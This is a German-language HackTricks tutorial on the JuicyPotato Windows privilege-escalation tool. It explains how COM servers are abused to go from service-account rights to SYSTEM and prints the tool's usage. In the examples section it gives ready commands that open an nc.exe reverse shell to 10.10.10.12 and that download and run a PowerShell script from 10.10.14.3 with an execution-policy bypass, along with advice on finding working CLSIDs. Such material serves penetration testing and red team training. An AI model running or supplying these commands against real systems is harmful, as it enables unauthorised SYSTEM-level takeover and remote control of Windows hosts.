12 KiB
JuicyPotato
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
- Arbeiten Sie in einem Cybersicherheitsunternehmen? Möchten Sie Ihr Unternehmen in HackTricks beworben sehen? Oder möchten Sie Zugriff auf die neueste Version des PEASS oder HackTricks im PDF-Format haben? Überprüfen Sie die ABONNEMENTPLÄNE!
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Holen Sie sich den offiziellen PEASS & HackTricks-Merch
- Treten Sie der 💬 Discord-Gruppe bei oder der Telegram-Gruppe oder folgen Sie mir auf Twitter 🐦@carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das HackTricks-Repo und das HackTricks-Cloud-Repo einreichen.
WhiteIntel
WhiteIntel ist eine von Dark Web angetriebene Suchmaschine, die kostenlose Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von Stealer-Malwaren kompromittiert wurden.
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe aufgrund von informationsstehlender Malware zu bekämpfen.
Sie können ihre Website besuchen und ihren Dienst kostenlos ausprobieren unter:
{% embed url="https://whiteintel.io" %}
{% hint style="warning" %}
JuicyPotato funktioniert nicht auf Windows Server 2019 und Windows 10 ab Build 1809. Jedoch können PrintSpoofer, RoguePotato, SharpEfsPotato verwendet werden, um die gleichen Berechtigungen zu nutzen und Zugriff auf NT AUTHORITY\SYSTEM
zu erlangen. Überprüfen Sie:
{% endhint %}
{% content-ref url="roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}
Juicy Potato (Ausnutzung der goldenen Berechtigungen)
Eine gezuckerte Version von RottenPotatoNG, mit einem Hauch von Saft, d.h. ein weiteres Werkzeug zur lokalen Privilegieneskalation, von einem Windows-Service-Konto zu NT AUTHORITY\SYSTEM
Sie können JuicyPotato von https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts herunterladen
Zusammenfassung
RottenPotatoNG und seine Varianten nutzen die Berechtigungseskalationskette basierend auf dem BITS
Dienst, der den MiTM-Listener auf 127.0.0.1:6666
hat und wenn Sie SeImpersonate
oder SeAssignPrimaryToken
-Berechtigungen haben. Während einer Überprüfung des Windows-Builds fanden wir eine Konfiguration, bei der BITS
absichtlich deaktiviert war und Port 6666
belegt war.
Wir beschlossen, RottenPotatoNG zu weaponisieren: Sagen Sie hallo zu Juicy Potato.
Für die Theorie, siehe Rotten Potato - Privilegieneskalation von Service-Konten zu SYSTEM und folgen Sie der Kette von Links und Verweisen.
Wir entdeckten, dass neben BITS
mehrere COM-Server missbraucht werden können. Sie müssen nur:
- vom aktuellen Benutzer instanziierbar sein, normalerweise ein "Service-Benutzer", der Übernahmeberechtigungen hat
- das
IMarshal
-Interface implementieren - als erhöhter Benutzer (SYSTEM, Administrator, …) ausgeführt werden
Nach einigen Tests haben wir eine umfangreiche Liste von interessanten CLSID's auf mehreren Windows-Versionen erhalten und getestet.
Saftige Details
JuicyPotato ermöglicht es Ihnen:
- Ziel-CLSID wählen Sie beliebige CLSID aus. Hier finden Sie die Liste nach Betriebssystem organisiert.
- COM-Listening-Port definieren Sie den bevorzugten COM-Listening-Port (anstelle des marshallierten fest codierten 6666)
- COM-Listening-IP-Adresse binden Sie den Server an eine beliebige IP
- Prozesserstellungsmodus je nach Berechtigungen des übernommenen Benutzers können Sie auswählen:
CreateProcessWithToken
(benötigtSeImpersonate
)CreateProcessAsUser
(benötigtSeAssignPrimaryToken
)beides
- Zu startender Prozess starten Sie eine ausführbare Datei oder ein Skript, wenn die Ausnutzung erfolgreich ist
- Prozessargument passen Sie die Argumente des gestarteten Prozesses an
- RPC-Serveradresse für einen unauffälligen Ansatz können Sie sich an einen externen RPC-Server authentifizieren
- RPC-Serverport nützlich, wenn Sie sich an einen externen Server authentifizieren möchten und die Firewall den Port
135
blockiert… - TEST-Modus hauptsächlich für Testzwecke, d.h. Testen von CLSID's. Es erstellt den DCOM und gibt den Benutzer des Tokens aus. Siehe hier für Tests
Verwendung
T:\>JuicyPotato.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
Abschließende Gedanken
Aus der Readme von Juicy Potato:
Wenn der Benutzer die Berechtigungen SeImpersonate
oder SeAssignPrimaryToken
hat, sind Sie SYSTEM.
Es ist nahezu unmöglich, den Missbrauch all dieser COM-Server zu verhindern. Sie könnten darüber nachdenken, die Berechtigungen dieser Objekte über DCOMCNFG
zu ändern, aber viel Glück, das wird eine Herausforderung sein.
Die eigentliche Lösung besteht darin, sensible Konten und Anwendungen zu schützen, die unter den * SERVICE
-Konten ausgeführt werden. Das Stoppen von DCOM
würde sicherlich diesen Exploit behindern, könnte jedoch ernsthafte Auswirkungen auf das zugrunde liegende Betriebssystem haben.
Von: http://ohpe.it/juicy-potato/
Beispiele
Hinweis: Besuchen Sie diese Seite für eine Liste von CLSIDs zum Ausprobieren.
Erhalten Sie eine nc.exe Reverse-Shell
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\Users\Public>
Powershell rückgängig
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
Starten Sie eine neue CMD (wenn Sie RDP-Zugriff haben)
CLSID-Probleme
Oft funktioniert die Standard-CLSID, die JuicyPotato verwendet, nicht und der Exploit schlägt fehl. Normalerweise sind mehrere Versuche erforderlich, um eine funktionierende CLSID zu finden. Um eine Liste von CLSIDs für ein bestimmtes Betriebssystem zu erhalten, sollten Sie diese Seite besuchen:
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
Überprüfen von CLSIDs
Zunächst benötigen Sie einige ausführbare Dateien neben juicypotato.exe.
Laden Sie Join-Object.ps1 herunter und laden Sie es in Ihre PS-Sitzung, und laden Sie GetCLSID.ps1 herunter und führen Sie es aus. Dieses Skript erstellt eine Liste möglicher CLSIDs zum Testen.
Laden Sie dann test_clsid.bat (ändern Sie den Pfad zur CLSID-Liste und zur juicypotato-Ausführungsdatei) herunter und führen Sie es aus. Es wird versuchen, jede CLSID auszuführen, und wenn sich die Portnummer ändert, bedeutet dies, dass die CLSID funktioniert.
Überprüfen Sie die funktionierenden CLSIDs mit dem Parameter -c
Referenzen
WhiteIntel
WhiteIntel ist eine von Dark Web angetriebene Suchmaschine, die kostenlose Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von Stealer-Malware kompromittiert wurden.
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe aufgrund von informationsstehlender Malware zu bekämpfen.
Sie können ihre Website besuchen und ihre Engine kostenlos ausprobieren unter:
{% embed url="https://whiteintel.io" %}
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
- Arbeiten Sie in einem Cybersicherheitsunternehmen? Möchten Sie Ihr Unternehmen in HackTricks beworben sehen? Oder möchten Sie Zugriff auf die neueste Version des PEASS erhalten oder HackTricks im PDF-Format herunterladen? Überprüfen Sie die ABONNEMENTPLÄNE!
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Holen Sie sich das offizielle PEASS & HackTricks-Merch
- Treten Sie der 💬 Discord-Gruppe oder der Telegramm-Gruppe bei oder folgen Sie mir auf Twitter 🐦@carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das HackTricks-Repo und das HackTricks-Cloud-Repo einreichen.